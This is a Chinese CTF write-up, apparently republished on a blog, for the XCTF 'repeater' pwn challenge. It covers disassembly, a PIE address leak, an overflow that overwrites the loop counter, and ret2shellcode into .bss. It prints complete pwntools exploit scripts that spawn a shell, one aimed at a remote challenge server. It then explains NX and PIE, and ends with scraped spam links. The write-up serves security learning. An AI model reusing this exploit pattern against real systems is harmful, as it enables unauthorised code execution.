当前位置: 首页 > news >正文

XCTF-repeater三链破盾:PIE泄露+ROP桥接+Shellcode执行的艺术

XCTF-repeater

一、题目来源

XCTF-Pwn-repeater
在这里插入图片描述

二、信息搜集

将题目给的二进制文件丢入Linux虚拟机中,由于文件名过长我已经将文件重命名为“pwn”

通过file命令查看文件类型:
在这里插入图片描述

通过checksec命令查看保护措施:
在这里插入图片描述

三、反汇编文件开始分析

1、三个关键点

将题目给的二进制文件丢入64位的Ida当中开始反汇编

首先看到main函数,下面是他的汇编代码:

.text:0000000000000A33 main            proc near               ; DATA XREF: start+1D↑o
.text:0000000000000A33                                         ; main+DD↓o
.text:0000000000000A33
.text:0000000000000A33 s               = byte ptr -30h
.text:0000000000000A33 var_10          = dword ptr -10h
.text:0000000000000A33 var_4           = dword ptr -4
.text:0000000000000A33
.text:0000000000000A33 ; __unwind {
.text:0000000000000A33                 push    rbp
.text:0000000000000A34                 mov     rbp, rsp
.text:0000000000000A37                 sub     rsp, 30h
.text:0000000000000A3B                 mov     eax, 0
.text:0000000000000A40                 call    sub_91B
.text:0000000000000A45                 mov     eax, 0
.text:0000000000000A4A                 call    sub_A08
.text:0000000000000A4F                 mov     [rbp+var_10], 123123h
.text:0000000000000A56                 lea     rdi, aICanRepeatYour ; "I can repeat your input......."
.text:0000000000000A5D                 call    _puts
.text:0000000000000A62                 lea     rdi, aPleaseGiveMeYo ; "Please give me your name :"
.text:0000000000000A69                 call    _puts
.text:0000000000000A6E                 mov     edx, 40h ; '@'  ; n
.text:0000000000000A73                 mov     esi, 0          ; c
.text:0000000000000A78                 lea     rax, unk_202040
.text:0000000000000A7F                 mov     rdi, rax        ; s
.text:0000000000000A82                 call    _memset
.text:0000000000000A87                 mov     esi, 30h ; '0'
.text:0000000000000A8C                 lea     rax, unk_202040
.text:0000000000000A93                 mov     rdi, rax
.text:0000000000000A96                 call    sub_982
.text:0000000000000A9B                 mov     [rbp+var_4], 0
.text:0000000000000AA2                 jmp     loc_B2F
.text:0000000000000AA7 ; ---------------------------------------------------------------------------
.text:0000000000000AA7
.text:0000000000000AA7 loc_AA7:                                ; CODE XREF: main+102↓j
.text:0000000000000AA7                 lea     rax, unk_202040
.text:0000000000000AAE                 mov     rsi, rax
.text:0000000000000AB1                 lea     rdi, format     ; "%s's input :"
.text:0000000000000AB8                 mov     eax, 0
.text:0000000000000ABD                 call    _printf
.text:0000000000000AC2                 lea     rax, [rbp+s]
.text:0000000000000AC6                 mov     edx, 20h ; ' '  ; n
.text:0000000000000ACB                 mov     esi, 0          ; c
.text:0000000000000AD0                 mov     rdi, rax        ; s
.text:0000000000000AD3                 call    _memset
.text:0000000000000AD8                 lea     rax, [rbp+s]
.text:0000000000000ADC                 mov     edx, 40h ; '@'  ; nbytes
.text:0000000000000AE1                 mov     rsi, rax        ; buf
.text:0000000000000AE4                 mov     edi, 0          ; fd
.text:0000000000000AE9                 call    _read
.text:0000000000000AEE                 lea     rdi, aSorryICanT ; "sorry... I can't....."
.text:0000000000000AF5                 call    _puts
.text:0000000000000AFA                 mov     eax, [rbp+var_10]
.text:0000000000000AFD                 cmp     eax, 321321h
.text:0000000000000B02                 jnz     short loc_B2B
.text:0000000000000B04                 lea     rdi, aButThereIsGift ; "But there is gift for you :"
.text:0000000000000B0B                 call    _puts
.text:0000000000000B10                 lea     rax, main
.text:0000000000000B17                 mov     rsi, rax
.text:0000000000000B1A                 lea     rdi, aP         ; "%p\n"
.text:0000000000000B21                 mov     eax, 0
.text:0000000000000B26                 call    _printf
.text:0000000000000B2B
.text:0000000000000B2B loc_B2B:                                ; CODE XREF: main+CF↑j
.text:0000000000000B2B                 add     [rbp+var_4], 1
.text:0000000000000B2F
.text:0000000000000B2F loc_B2F:                                ; CODE XREF: main+6F↑j
.text:0000000000000B2F                 mov     eax, [rbp+var_10]
.text:0000000000000B32                 cmp     [rbp+var_4], eax
.text:0000000000000B35                 jl      loc_AA7
.text:0000000000000B3B                 mov     eax, 0
.text:0000000000000B40                 leave
.text:0000000000000B41                 retn
.text:0000000000000B41 ; } // starts at A33
.text:0000000000000B41 main            endp

简单分析过后,会发现三个关键信息

第一个,main函数中调用的read函数存在栈溢出现象,对应代码如下:

.text:0000000000000AD8                 lea     rax, [rbp+s]
.text:0000000000000ADC                 mov     edx, 40h ; '@'  ; nbytes
.text:0000000000000AE1                 mov     rsi, rax        ; buf
.text:0000000000000AE4                 mov     edi, 0          ; fd
.text:0000000000000AE9                 call    _read

但是,能栈溢出但是溢出得不多,即使达到最大长度,也只能刚好覆盖完“返回地址”

这也就意味着单单通过该函数,我们无法构造长ROP

第二个,[rbp+var_10]中的值若等于0x321321会泄露main函数在.text段中的地址,对应代码如下:

.text:0000000000000AFA                 mov     eax, [rbp+var_10]
.text:0000000000000AFD                 cmp     eax, 321321h
.text:0000000000000B02                 jnz     short loc_B2B
.text:0000000000000B04                 lea     rdi, aButThereIsGift ; "But there is gift for you :"
.text:0000000000000B0B                 call    _puts
.text:0000000000000B10                 lea     rax, main
.text:0000000000000B17                 mov     rsi, rax
.text:0000000000000B1A                 lea     rdi, aP         ; "%p\n"
.text:0000000000000B21                 mov     eax, 0
.text:0000000000000B26                 call    _printf

var_10= dword ptr -10h,[rbp+var_10]也就是[rbp-0x10]。

我们通过read输入信息的位置在[rbp+s],即[rbp-0x30],而输出的长度限制为0x40(明显大于0x20)

通过上述分析,我们就知道[rbp+var_10]的信息是受我们控制的

jnz即jump when not zere,那么代码

.text:0000000000000AFD                 cmp     eax, 321321h
.text:0000000000000B02                 jnz     short loc_B2B

的意思是当eax与321321h不相等的时候,就会跳转到loc_B2B,但是如果我们想不跳转,就是让eax的值等于321321h,而eax的值来自于[rbp+var_10],所以我们只需要让[rbp+var_10]等于321321h就可以让该指令不跳转

若不跳转,程序继续执行,就来到了泄露main函数在.text段地址的地方了

在“信息搜集”阶段,我们发现了程序启用了PIE保护措施,PIE的保护范围如下:

区域是否受NX影响说明
栈(Stack)受影响栈区被标记为不可执行,防止shellcode放入栈中直接运行(防止传统栈溢出攻击)
堆(Heap)受影响大多数现代系统默认将堆区也设置为不可执行,防止heap spraying类攻击
数据段(.data / .bss)受影响防止攻击者构造可执行指令到这些数据区域
代码段(.text)不受影响本来就是存放合法可执行代码的区域,允许执行
可加载的映射文件段(mmap/mprotect)可能影响如果未显式设置为可执行,则不能执行,常被用于JIT技术防御

也就是说,我们本地看到的main函数在.text段的地址和服务器端运行程序中的main函数地址是不一样的

这个信息有什么用呢?我们等下再来分析

第三个,如果[rbp+var_10]的值小于循环次数,那么程序就会退出,对应代码如下:

.text:0000000000000B2B loc_B2B:                                ; CODE XREF: main+CF↑j
.text:0000000000000B2B                 add     [rbp+var_4], 1
.text:0000000000000B2F
.text:0000000000000B2F loc_B2F:                                ; CODE XREF: main+6F↑j
.text:0000000000000B2F                 mov     eax, [rbp+var_10]
.text:0000000000000B32                 cmp     [rbp+var_4], eax
.text:0000000000000B35                 jl      loc_AA7
.text:0000000000000B3B                 mov     eax, 0
.text:0000000000000B40                 leave
.text:0000000000000B41                 retn

[rbp+var_4]的初始值为0

mov     [rbp+var_4], 0

程序经过一次循环就会使得其值加1,因此[rbp+var_4]代表的其实就是已经进行的循环次数的统计

.text:0000000000000B32                 cmp     [rbp+var_4], eax
.text:0000000000000B35                 jl      loc_AA7

jl,即jump when less,当[rbp+var_4]的值小于eax的值(其值来自于[rbp+var_10])的时候,程序就会继续,即开启下一个循环

反之,程序就会退出

这一信息很关键,关键的原因就在于:

如果你利用栈溢出去覆盖返回地址成你想要的地址,想着函数返回的时候就能劫持程序执行流程成自己想要的样子

但是如果程序一直处于死循环的状态,也就是说根本到达不了“函数返回”的那一步,那么你“通过溢出劫持程序执行流”这么一个操作也就无法实现

而在本题中,main函数中的循环次数到达0x123123才会结束,就类似于死循环了,如果我们不希望等那么久,就需要手动设置[rbp+var_10]中的值

2、思路可行性分析

能实现栈溢出,但是无法构造长ROP,这里就可以联想到两个思路:

(1)写入shellcode,然后返回shellcode所在位置

(2)栈迁移,构造长ROP

(1)思路一可行性分析

首先,分析一下思路一的可行性

在main函数中,除了read函数可以写入信息,我们还可以通过sub_982函数写入信息,下面是main函数中调用该函数的部分:

mov     esi, 30h ; '0'
lea     rax, unk_202040
mov     rdi, rax
call    sub_982

我们也可以点入该函数,去看看该函数的实现逻辑,下面是其代码:

.text:0000000000000982 sub_982         proc near               ; CODE XREF: main+63↓p
.text:0000000000000982
.text:0000000000000982 var_20          = qword ptr -20h
.text:0000000000000982 buf             = qword ptr -18h
.text:0000000000000982 var_8           = qword ptr -8
.text:0000000000000982
.text:0000000000000982 ; __unwind {
.text:0000000000000982                 push    rbp
.text:0000000000000983                 mov     rbp, rsp
.text:0000000000000986                 sub     rsp, 20h
.text:000000000000098A                 mov     [rbp+buf], rdi
.text:000000000000098E                 mov     [rbp+var_20], rsi
.text:0000000000000992                 jmp     short loc_9EF
.text:0000000000000994 ; ---------------------------------------------------------------------------
.text:0000000000000994
.text:0000000000000994 loc_994:                                ; CODE XREF: sub_982+7C↓j
.text:0000000000000994                 mov     rax, [rbp+buf]
.text:0000000000000998                 mov     edx, 1          ; nbytes
.text:000000000000099D                 mov     rsi, rax        ; buf
.text:00000000000009A0                 mov     edi, 0          ; fd
.text:00000000000009A5                 call    _read
.text:00000000000009AA                 mov     [rbp+var_8], rax
.text:00000000000009AE                 cmp     [rbp+var_8], 0
.text:00000000000009B3                 jz      short loc_A02
.text:00000000000009B5                 cmp     [rbp+var_8], 0FFFFFFFFFFFFFFFFh
.text:00000000000009BA                 jnz     short loc_9D6
.text:00000000000009BC                 call    ___errno_location
.text:00000000000009C1                 mov     eax, [rax]
.text:00000000000009C3                 cmp     eax, 0Bh
.text:00000000000009C6                 jz      short loc_9EF
.text:00000000000009C8                 call    ___errno_location
.text:00000000000009CD                 mov     eax, [rax]
.text:00000000000009CF                 cmp     eax, 4
.text:00000000000009D2                 jnz     short loc_A05
.text:00000000000009D4                 jmp     short loc_9EF
.text:00000000000009D6 ; ---------------------------------------------------------------------------
.text:00000000000009D6
.text:00000000000009D6 loc_9D6:                                ; CODE XREF: sub_982+38↑j
.text:00000000000009D6                 mov     rax, [rbp+buf]
.text:00000000000009DA                 movzx   eax, byte ptr [rax]
.text:00000000000009DD                 cmp     al, 0Ah
.text:00000000000009DF                 jnz     short loc_9EA
.text:00000000000009E1                 mov     rax, [rbp+buf]
.text:00000000000009E5                 mov     byte ptr [rax], 0
.text:00000000000009E8                 jmp     short locret_A06
.text:00000000000009EA ; ---------------------------------------------------------------------------
.text:00000000000009EA
.text:00000000000009EA loc_9EA:                                ; CODE XREF: sub_982+5D↑j
.text:00000000000009EA                 add     [rbp+buf], 1
.text:00000000000009EF
.text:00000000000009EF loc_9EF:                                ; CODE XREF: sub_982+10↑j
.text:00000000000009EF                                         ; sub_982+44↑j ...
.text:00000000000009EF                 mov     rax, [rbp+var_20]
.text:00000000000009F3                 lea     rdx, [rax-1]
.text:00000000000009F7                 mov     [rbp+var_20], rdx
.text:00000000000009FB                 test    rax, rax
.text:00000000000009FE                 jnz     short loc_994
.text:0000000000000A00                 jmp     short locret_A06
.text:0000000000000A02 ; ---------------------------------------------------------------------------
.text:0000000000000A02
.text:0000000000000A02 loc_A02:                                ; CODE XREF: sub_982+31↑j
.text:0000000000000A02                 nop
.text:0000000000000A03                 jmp     short locret_A06
.text:0000000000000A05 ; ---------------------------------------------------------------------------
.text:0000000000000A05
.text:0000000000000A05 loc_A05:                                ; CODE XREF: sub_982+50↑j
.text:0000000000000A05                 nop
.text:0000000000000A06
.text:0000000000000A06 locret_A06:                             ; CODE XREF: sub_982+66↑j
.text:0000000000000A06                                         ; sub_982+7E↑j ...
.text:0000000000000A06                 leave
.text:0000000000000A07                 retn
.text:0000000000000A07 ; } // starts at 982
.text:0000000000000A07 sub_982         endp

可以看到非常的长,我们没必要全部读懂,可以根据上下文以及程序实际运行效果来推断该函数的逻辑

根据其中的read(0,[rbp+buf],1),可以看出他是一个一个进行写入的,要写入多少个呢?不就是存在esi寄存器中的值吗?也就是0x30,那要写入的位置是[rbp+buf],这个位置来自于寄存器rdi,也就是unk_202040

unk_202040这是一个未初始化的全局变量,在.bss段中

.bss:0000000000202040 unk_202040      db    ? ;               ; DATA XREF: main+45↑o

好,那么该函数的大致作用就是接受限制长度的用户输入数据

既然存在输入点,我们再结合本题的保护措施----NX disabled

也就是说,我们可以利用sub_982函数在.bss段写入shellcode,接下来就只需要返回该地址即可完成getshell

这里就需要提到我们之前讲到的关键点2了,由于本题开启了PIE,那么.bss段的地址会随机化,即每次运行程序.bss段所在的内存地址都是不一样的

但是好在,本题给了我们泄露服务器运行程序中main函数所在的真实内存地址的方法,我们只需要泄露main函数所在的内存地址,即可算出本程序在服务器内存中的基址,根据.bss段离基址的偏移量,即可得到.bss段在服务器运行程序中的真实内存地址

因此,思路一是可行的

(2)思路二可行性分析

通过ROPgadget工具可以找到栈溢出的关键gadget:
在这里插入图片描述

0x0000000000000a06 : leave ; ret

我们可以通过sub_982函数写入ROP链,接着通过read构造栈迁移的payload,将栈迁移到.bss段上

当然本思路也需要配合main函数真实地址的泄露来完成

但是,既然能直接写入shellcode且具有可执行权限,为什么不直接采用思路一呢?

确实,思路二相对于思路一就显得多此一举,但是也存在可行性

可是你想,你不写入shellcode,那么你就只能泄露libc、采用系统调用或者.got劫持(本题直接pass,因为保护措施中有“Full RELRO”),这几个思路的ROP不算短,而且sub_982也并非无限制写入(限制0x30)

我没尝试过思路二的具体实现,不过大概率会因为ROP长度而失败,大家有兴趣可以试试

四、Poc构造

根据上面分析的思路,我们就可以顺理成章地完成Poc的构造

本地Poc(具体解释已经在代码中注释):

from pwn import *context(arch='amd64', os='linux') #用于构造符合架构和OS的shellcode
p = process('./pwn')shellcode = asm(shellcraft.sh()) #构造能getshell的shellcodep.sendlineafter(b"Please give me your name :",shellcode)  #第一次输入,写入shellcode# 第二次输入:泄露main地址
payload = b'A'*32 + p64(0x321321) #泄露地址需要让[rbp+var_10]=0x321321
p.sendline(payload)p.sendlineafter("'s input :",payload)
p.recvuntil("But there is gift for you :\n")
main_leak = int(p.recvline().strip().decode(),16)
base = main_leak - 0xA33 #算出程序在内存中的基址
bss_addr = base + 0x202040 #根据偏移量得出.bss所在的真实地址
log.info(f"Main: {hex(main_leak)}, Base: {hex(base)}, BSS: {hex(bss_addr)}")# 第三次输入:栈溢出,返回shellcode所在位置,实现ret2shellcode
payload = b"A" * 32
payload += p64(0) #为了程序退出,将参数[rbp+var_10]赋值得比循环次数小
payload += b"A" * 16
payload += p64(bss_addr)
p.sendline(payload)p.interactive()

运行效果:

在这里插入图片描述

成功拿下本地shell

远程Poc:

from pwn import *context(arch='amd64', os='linux') #用于构造符合架构和OS的shellcode
p = remote("61.147.171.103",52594)shellcode = asm(shellcraft.sh()) #构造能getshell的shellcodep.sendlineafter(b"Please give me your name :",shellcode)  #第一次输入,写入shellcode# 第二次输入:泄露main地址
payload = b'A'*32 + p64(0x321321) #泄露地址需要让[rbp+var_10]=0x321321
p.sendline(payload)p.sendlineafter("'s input :",payload)
p.recvuntil("But there is gift for you :\n")
main_leak = int(p.recvline().strip().decode(),16)
base = main_leak - 0xA33 #算出程序在内存中的基址
bss_addr = base + 0x202040 #根据偏移量得出.bss所在的真实地址
log.info(f"Main: {hex(main_leak)}, Base: {hex(base)}, BSS: {hex(bss_addr)}")# 第三次输入:栈溢出,返回shellcode所在位置,实现ret2shellcode
payload = b"A" * 32
payload += p64(0) #为了程序退出,将参数[rbp+var_10]赋值得比循环次数小
payload += b"A" * 16
payload += p64(bss_addr)
p.sendline(payload)p.interactive()

在这里插入图片描述

成功拿下flag!

五、知识点加油站

本题涉及到的知识点

1、pwntools生成shellcode

(1)基本构造方法
from pwn import *# 指定架构和系统(常见的是 i386 + linux)
context(arch='i386', os='linux')# 使用 shellcraft 构造一个执行 /bin/sh 的 shellcode
shellcode = asm(shellcraft.sh())

asm就是一个pwntools提供的将汇编代码打包成二进制代码的一个函数

(2)支持的架构(arch)
架构名含义说明
'i386'32位 x86架构常用于CTF、老程序
'amd64'64位 x86_64架构现代系统主流
'arm'32位 ARM架构移动设备、嵌入式系统常见
'aarch64'64位 ARM架构现代安卓手机、树莓派64位
'mips'32位 MIPS架构常用于路由器、IoT
'mips64'64位 MIPS架构稀有
'powerpc'PowerPC架构老式Mac或嵌入式系统
'sparc'SPARC架构特定服务器系统
'riscv'RISC-V架构新兴开源指令集
(3)支持的操作系统(os)
系统名说明
'linux'大多数题目或系统使用的默认值
'windows'用于 Windows PE 分析与构造
'freebsd'自由BSD系统,少见
'none'裸机程序,如bootloader、裸汇编等
(4)shellcraft

shellcraft是pwntools提供的一个shellcode模板库,支持多种功能:

用法含义
shellcraft.sh()执行/bin/sh的经典shellcode
shellcraft.cat(‘flag.txt’)输出flag.txt的内容
shellcraft.linux.read(fd, addr, size)调用系统的read函数
shellcraft.amd64.sh()针对64位系统的shellcode
shellcraft.i386.sh()显式指定i386(32位)

其生成的都是汇编代码,需要asm进行打包

(5)查看shellcode内容
from pwn import *
context(arch='i386', os='linux')
sc = asm(shellcraft.sh())
print(disasm(sc))  # 反汇编查看生成内容

2、NX

(1)什么是NX?

NX全称为No-eXecute,即不可执行

它是一种通过硬件和操作系统联合实现的安全机制,用于标记内存页不可执行,即防止代码在某些内存区域执行

(2)为什么需要NX?

在早期的缓冲区溢出攻击中,攻击者常常将shellcode注入到栈(stack)、堆(heap)或.bss段中,然后通过覆盖返回地址,让程序跳转到这些区域执行shellcode

问题:这些区域原本是用来存储数据的,不应该执行代码!

所以,NX的作用就是为了阻止这种行为,通过标记内存区域为non-executable,使得即使攻击者注入了 shellcode,也无法执行,从而防止攻击

(3)保护范围
区域是否受NX影响说明
栈(Stack)受影响栈区被标记为不可执行,防止shellcode放入栈中直接运行(防止传统栈溢出攻击)
堆(Heap)受影响大多数现代系统默认将堆区也设置为不可执行,防止heap spraying类攻击
数据段(.data / .bss)受影响防止攻击者构造可执行指令到这些数据区域
代码段(.text)不受影响本来就是存放合法可执行代码的区域,允许执行
可加载的映射文件段(mmap/mprotect)可能影响如果未显式设置为可执行,则不能执行,常被用于JIT技术防御

3、PIE

(1)什么是PIE?

PIE:全称Position Independent Executable

它是一种编译方式,使得程序在运行时可以被加载到任意地址处执行,从而支持代码段的地址随机化

(2)PIE随机化了哪些区域
区域是否受 PIE 影响说明
.text✅ 会随机化存放程序的指令
.data✅ 会随机化存放初始化的全局变量
.bss✅ 会随机化存放未初始化的全局/静态变量
.rodata✅ 会随机化只读数据段,如字符串常量等
GOT / PLT 表✅ 会随机化.text.data随动
栈(Stack)❌ 不由PIE控制由ASLR控制,单独随机化
堆(Heap)❌ 不由PIE 控制由ASLR控制,单独随机化
libc / ld.so❌ 不由PIE控制由ASLR控制,动态库的加载地址是独立的

文章转载自:
http://airwaves.wanhuigw.com
http://affettuoso.wanhuigw.com
http://acquiescently.wanhuigw.com
http://allophonic.wanhuigw.com
http://bilabiate.wanhuigw.com
http://abought.wanhuigw.com
http://antifederalist.wanhuigw.com
http://bigemony.wanhuigw.com
http://bpd.wanhuigw.com
http://apocarpy.wanhuigw.com
http://amphipod.wanhuigw.com
http://adjuster.wanhuigw.com
http://cerebration.wanhuigw.com
http://amati.wanhuigw.com
http://blooey.wanhuigw.com
http://cascarilla.wanhuigw.com
http://advowson.wanhuigw.com
http://appallingly.wanhuigw.com
http://balthazer.wanhuigw.com
http://charleston.wanhuigw.com
http://blae.wanhuigw.com
http://anthelix.wanhuigw.com
http://aganippe.wanhuigw.com
http://billionth.wanhuigw.com
http://benzoin.wanhuigw.com
http://appalling.wanhuigw.com
http://appetiser.wanhuigw.com
http://afreet.wanhuigw.com
http://antennae.wanhuigw.com
http://attar.wanhuigw.com
http://www.dtcms.com/a/281292.html

相关文章:

  • PyTorch 数据加载实战:从 CSV 到图像的全流程解析
  • 股指期货主连和次主连的区别是什么?
  • 游戏加速器核心技术:动态超发
  • Linux 文件系统实现层详解:原理、结构与驱动衔接
  • 人类气道黏膜下腺类器官:解析呼吸炎症与感染的新平台
  • Sharding-JDBC 分布式事务实战指南:XA/Seata 方案解析(三)
  • (3)从零开发 Chrome 插件:网页图片的批量下载
  • Google EMM是什么?
  • Git Idea 冲突解决
  • GitHub Pages无法访问以点号.开头的目录
  • 【实时Linux实战系列】实时数据流的网络传输
  • 百度移动开发面经合集
  • 【matlab】三维路面谱生成代码
  • Altium Designer 25 安装与配置完整教程
  • 【高并发服务器】多路复用的总结 eventfd timerfd
  • 2.3 数组与字符串
  • Flutter 股票图实现分析与解决方案
  • 深入理解高性能字节池 bytebufferpool
  • 1.easypan-登录注册
  • AbMole小课堂 | Angiotensin II(血管紧张素Ⅱ)在心血管研究中的多元应用
  • 基于51单片机和16X16点阵屏、矩阵按键的小游戏《俄罗斯方块》
  • 清理C盘--办法
  • python的形成性考核管理系统
  • 学习笔记(37):构建一个房价预测模型,并通过可视化全面评估模型效果
  • Java 异常处理详解:从基础语法到最佳实践,打造健壮的 Java 应用
  • Linux进程信号--0、序章
  • Servlet规范 、Tomcat容器、Springmvc框架
  • Quick API:赋能能源行业,化解数据痛点
  • 构建高性能微服务架构:基于Kubernetes与gRPC的深度实践
  • 缓存穿透的“黑暗森林”假说——当攻击者学会隐藏恶意流量